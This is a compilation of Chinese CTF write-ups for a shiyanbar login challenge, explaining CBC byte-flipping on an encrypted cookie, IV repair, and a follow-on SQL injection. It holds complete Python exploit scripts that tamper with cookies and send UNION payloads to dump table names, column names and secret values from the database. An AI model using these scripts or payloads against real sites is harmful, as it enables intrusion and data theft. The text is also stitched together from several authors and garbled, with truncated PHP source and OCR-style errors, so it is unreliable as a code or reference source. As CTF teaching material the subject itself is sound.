1.简单的的登录题---(主要考察cbc字节反转攻击)
作者:pcat
$id);
$plain = serialize($info);
$row=ceil(strlen($plain)/16);
for($i=0;$i<$row;$i++){
echo substr($plain,$i*16,16).'
';
}
?>
作者:Aluvion此时的偏移量(offset)为4,也就是说,如果我们要将 第2块第5个字符2 翻转为我们所需要的字符#,由于CBC模式的解密方式是:
该块的明文 = decrypt(该块的密文) ^(异或) 前一块密文
如果是第一块:第一块的明文 = decrypt(第一块的密文) ^ iv
CBC解密分为两段:decrypt和^
所以,我们需要对 第1块第5个字符 做一些修改
由于:
第2块密文第5个字符的明文(C) = 第1块密文第5个字符(A) ^ decrypt(第2块密文第5个字符的密文)(B)
而^有运算为:C = A ^ B,A = C ^ B,0 ^ A = A,而我们已知CBC解密后C(这里为2)和密文中A的值cipher_row[offset(偏移量)]
故:
B = A ^ C
而后台CBC解密所得则为:A ^ B
所以我们控制修改A2 = A ^ C ^ D(我们想要的,这里为#)
即脚本里的cipher_row[offset] =chr(ord(cipher_row[offset]) ^ord("2") ^ord("#"))
这样运算下来,则后台CBC解密得到:A2 ^ B = A ^ C ^ D ^ A ^C ,即D,CBC翻转成功
但是还没有结束,因为我们在翻转第二块的时候,修改了第一块的密文,所以如果用同一个iv去解密第一块密文,是无法反序列化的,因此我们需要对iv进行一些修改。
(如果我们为了翻转第三块,而修改了第二块,那我们又需要为了让第二块解密后反序列化成功修改第一块,最后又要修改iv,处理量一下子就多了起来)
修改iv的时候,我们已知:原iv,用原iv解密后的错误明文,第一块密文,以及正确明文(即a:1:{s:2:\"id\";s:)
而:
错误明文 = 原iv ^ 第一块密文 => 第一块密文 = 错误明文 ^ 原iv
正确明文 = 新iv ^ 第一块密文 => 新iv = 正确明文 ^ 第一块密文
故:
新iv = 原iv ^ 错误明文 ^ 正确明文
即脚本里的iv_new = iv_new +chr(ord(iv_row[x]) ^ord(wrong[x]) ^ord(plaintext[x])),循环16次
# -*- coding:utf8 -*-
__author__='[email protected]'
from base64 import *
import urllib
cipher='U9qq54FOYcS2MFFB7UJFjVcSWpi0zsc%2BnVAnMkjkcRY%3D'
cipher_raw=b64decode(urllib.unquote(cipher))
lst=list(cipher_raw)
idx=4
c1='2'
c2='#'
lst[idx]=chr(ord(lst[idx])^ord(c1)^ord(c2))
cipher_new=''.join(lst)
cipher_new=urllib.quote(b64encode(cipher_new))
print cipher_new
# -*- coding:utf8 -*-
__author__='[email protected]'
from base64 import *
import urllib
iv='ZoP2z9EI7VWaWz%2F1GfYB6Q%3D%3D'
iv_raw=b64decode(urllib.unquote(iv))
first='a:1:{s:2:"id";s:'
plain=b64decode('g8COFrN/0Z3FDCOZ6MfV5zI6IjEjIjt9')
iv_new=''
for i in range(16):
iv_new+=chr(ord(plain[i])^ord(first[i])^ord(iv_raw[i]))
iv_new=urllib.quote(b64encode(iv_new))
print iv_new
# -*-coding:utf-8-*-
# 请保留我的个人信息,谢谢~!
__author__='[email protected]'
from base64 import *
import urllib
import requests
import re
def mydecode(value):
return b64decode(urllib.unquote(value))
def myencode(value):
return urllib.quote(b64encode(value))
def mycbc(value,idx,c1,c2):
lst=list(value)
lst[idx]=chr(ord(lst[idx])^ord(c1)^ord(c2))
return ''.join(lst)
def pcat(payload,idx,c1,c2):
url=r'http://ctf5.shiyanbar.com/web/jiandan/index.php'
myd={'id':payload}
res=requests.post(url,data=myd)
cookies=res.headers['Set-Cookie']
iv=re.findall(r'iv=(.*?),',cookies)[0]
cipher=re.findall(r'cipher=(.*)',cookies)[0]
iv_raw=mydecode(iv)
cipher_raw=mydecode(cipher)
cipher_new=myencode(mycbc(cipher_raw,idx,c1,c2))
cookies_new={'iv':iv,'cipher':cipher_new}
cont=requests.get(url,cookies=cookies_new).content
plain=b64decode(re.findall(r"base64_decode\('(.*?)'\)",cont)[0])
first='a:1:{s:2:"id";s:'
iv_new=''
for i in range(16):
iv_new+=chr(ord(first[i])^ord(plain[i])^ord(iv_raw[i]))
iv_new=myencode(iv_new)
cookies_new={'iv':iv_new,'cipher':cipher_new}
cont=requests.get(url,cookies=cookies_new).content
print 'Payload:%s\n>> ' %(payload)
print cont
pass
def foo():
pcat('12',4,'2','#')
pcat('0 2nion select * from((select 1)a join (select 2)b join (select 3)c);'+chr(0),6,'2','u')
pcat('0 2nion select * from((select 1)a join (select group_concat(table_name) from information_schema.tables where table_schema regexp database())b join (select 3)c);'+chr(0),7,'2','u')
pcat("0 2nion select * from((select 1)a join (select group_concat(column_name) from information_schema.columns where table_name regexp 'you_want')b join (select 3)c);"+chr(0),7,'2','u')
pcat("0 2nion select * from((select 1)a join (select value from you_want limit 1)b join (select 3)c);"+chr(0),6,'2','u')
pass
if __name__ == '__main__':
foo()
print 'ok'
作者:蓝天深处
1'
后页面显示Hello
,重新载入的话页面返回报错信息limit
后面。然后试了很多,发现题目把union,#,procedure
等都过滤了,暂时没想到任何绕过的方法。base64_decode('".base64_encode($plain)."') can't unserialize");
$sql="select * from users limit ".$info['id'].",0";
$result=mysqli_query($link,$sql);
if(mysqli_num_rows($result)>0 or die(mysqli_error($link))){
$rows=mysqli_fetch_array($result);
echo 'Hello!'.$rows['username'].'
';
}
else{
echo 'Hello!
';
}
}else{
die("ERROR!");
}
}
}
if(isset($_POST['id'])){
$id = (string)$_POST['id'];
if(sqliCheck($id))
die("sql inject detected!
");
$info = array('id'=>$id);
login($info);
echo 'Hello!
';
}else{
if(isset($_COOKIE["iv"])&&isset($_COOKIE['cipher'])){
show_homepage();
}else{
echo '
';
}
}
这里说明几个函数:(来自:中北随便)
1.chr()函数,将数字转化为ASCII码的字符
2.serialize()函数,产生-个可存储的值的表示。
3.openssI_ encrypt()函数,用于加密数据
OpenssI_ encrypt($data,$method,$key,
[$options=0,$iv=" ”,&$tag=NUL,add=" ”,$tag_length=16])
1. data:要加密的明文消 息数据
2. method:密码方法
3. key:钥匙
4. options:options是一 个按位分离的旗帜OPENSSL_ RAW_ DATA和OPENSSL_ ZERO_ PADDING
5. iv:非NUL初始化变 量(非空的初始化向量,不使用此项会抛出一个警告)
6. tag:使用AEAD密码模式 (GCM或CCM)时,通过弓用传递的身份验证标记
7. add:其他认证数据
8. tag_ length:身 份验证的长度tag。对于GCM模式,其值可以在4到16之间
返回值:成功或者失败时返回加密的字符串。
补充: options有三种:
0:自动对明文进行padding,返回的数据经过base64编码
1: OPENSSL_ RAW_ DATA:自动对明文进行padding,但返回的结果未经过base64编码
2: OPENSSL_ ZERO_ PADDING:自动对明文进行0填充,返回的结果经过base64编码,但
是,openssI不推荐0填充的方式,即使选择此项也不会自动进行padding, 仍需手动padding
Padding简介: .
随机长度的填充
1. hash函数: 通常包括几种填充模式,通常用来防止hash函数被长度扩展攻击,许多填充
模式通过添加可预测的函数到最后一个块中完成填充。
2.分组密码的操作模式: CBC模式是分组密码操作模式的样例。在对称加算法的分组加密模
式中,要求明文必须是加密块的整数倍,这就要求必须对明文进行填充。
1.位填充: 可应用于任意长度的明文。
方法:将1添加至明文后面,后面的位全部置0
2.字节填充: 应用于明文可以编码成整字节的
ANSI X.923:字节填充方式以00字节填充并在最一个字节处后定义填充的字节数
ISO 10126:规定填充的字节应当是随机数并在最后-个字节处定义填充的字节数。
PKCS7:规定添加的字节是填充的字节数。
4.unserialize()函数,从已存储的表示中创建PHP的值
Serialize0和unserialize()函数:
用serialize0函数将-个实例转化位一个序列化的字符串。
用unserialize()函数还原已经序列化的对象。
列化:将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间,对象将其当
前状态写入到临时或者持久性存储区。可以通过从存储区中读取或反序列化对象的状态,重新
创建该对象。
序列化的意义: 1.将数组从内存中存储到硬盘中,减轻内存的使用量。
2.在网络上传送字节序列。
5.die()函数输出一条消息,并退出当前脚本,是exit)函数的别名 。
差不多就是这么多函数了,然后我们分析完- -遍之后, 提取出两处最重要的代码: .
preg_ match("A\.I-|#l=|~lunionlikelprocedure/i*"$str)
$sq|="select * from users limit ".$info[id'].",0";
我们需要绕过正则过滤并且让$info[ "id" 后面的内容失效即可。不着急,先介绍一下AES-128-CBC的加密算法
1. AES-128-CBC是- 种分组对称加密算法,即用同-种key进行明文和密文的转换,以
128bit为一组,128bit==16Byte, 意思就是明文的16字节为一组对应加密后的1 6字节的密
文。
2. Padding方式: 采用PKCS7进行填充。比如最后缺3给字节,则填充3个字节的0x03;若最
后缺10个字节,则填充10个字节的0x0a;若明文正好是16个字节的整数倍,最后要再加入一
个16字节0x10的组再进行加密。
3.加密方式: 先随机产生随机初始化变量IV和密匙,IV最 后会和密文拼接在一起从而保证了
同样的明文在加密后也不会拥有相同的密文。
4.具体方法:
加密:
1. 首先将明文分组(常见的以16字节为-组),位数不足的使用特殊字符填充。
2.生成一个随机的初始化向量(IV) 和一个密钥。
3.将IV和第一 组明文异或
4.用密钥对3中xor后产生的密文加密。
5.用4中产生的密文对第 二组密文进行xor操作。
6.用密钥对5中产生的密文进行xor加密。
7.重复4-7,到最后- -组明文。
8.将IV和加密后的密文拼接在一 起,得到最终的密文。
解密:
1. 先从密文中取出IV,然后对剩下的密文分组(16字节为-组)。
2.使用密钥解密第一 组密文,将解密结果与IV做异或运算,得到明文1。
3.然后使用密钥解第二组密文,将解密的结果与上一组密文进行异或运算,得到明文2。
4.复2-3,直到所有密文解密完成。
这里还需要注意的是:1;%00截断的问题,测试的时候发现1%00会引起php报错,但是1;%00就不会,因为;%00本来就是一个注释符